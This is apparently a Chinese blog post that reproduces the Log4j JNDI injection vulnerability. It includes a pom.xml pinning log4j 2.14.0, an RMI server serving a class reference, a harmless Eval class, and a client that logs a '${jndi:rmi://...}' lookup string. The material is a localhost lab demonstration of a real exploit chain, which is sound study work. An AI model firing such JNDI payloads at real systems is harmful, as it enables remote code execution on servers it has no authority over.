zoukankan      html  css  js  c++  java
  • Log4j 漏洞复现

    pom.xml 中:

        <dependencies>
            <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
                <version>2.14.0</version>
            </dependency>
    
            <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>2.14.0</version>
            </dependency>
            
        </dependencies>
    

    远端:

    定义一个RMI Service

    package remote;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import javax.naming.NamingException;
    import javax.naming.Reference;
    
    public class RMIServer {
        public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
            LocateRegistry.createRegistry(8843);
            final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8843);
            Reference ref = new Reference("remote.Eval","remote.Eval",null);
    
            final ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("Test", referenceWrapper);
        }
    }
    

    定义一个需要注入的对象

    package remote;
    
    public class Eval {
        static {
            System.out.println("load Eval");
        }
    }
    

    client 端

    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    public class Main {
        public static void main(String[] args) {
            Logger logger = LogManager.getLogger();
            System.out.println("Main");
            String msg2 = "${jndi:rmi://127.0.0.1:8843/Test}";
            logger.error("Hello {}", msg2);
        }
    }
    

    执行后发现 Eval 被加载了

  • 相关阅读:
    DataGridView使用SqlCommandBuilder批量更新数据
    【转】Python中中文处理的问题
    Logging模块的简单使用 Python
    Python 3 collections.defaultdict() 与 dict的使用和区别
    [转]关于Python的super用法研究
    Python 关于 name main的使用
    ClickOnce 我的大爱
    DataGridView控件显示行号的正确代码
    SQL存储过程和事务处理
    指针赋值的问题【转】
  • 原文地址:https://www.cnblogs.com/stdpain/p/15674449.html
Copyright © 2011-2022 走看看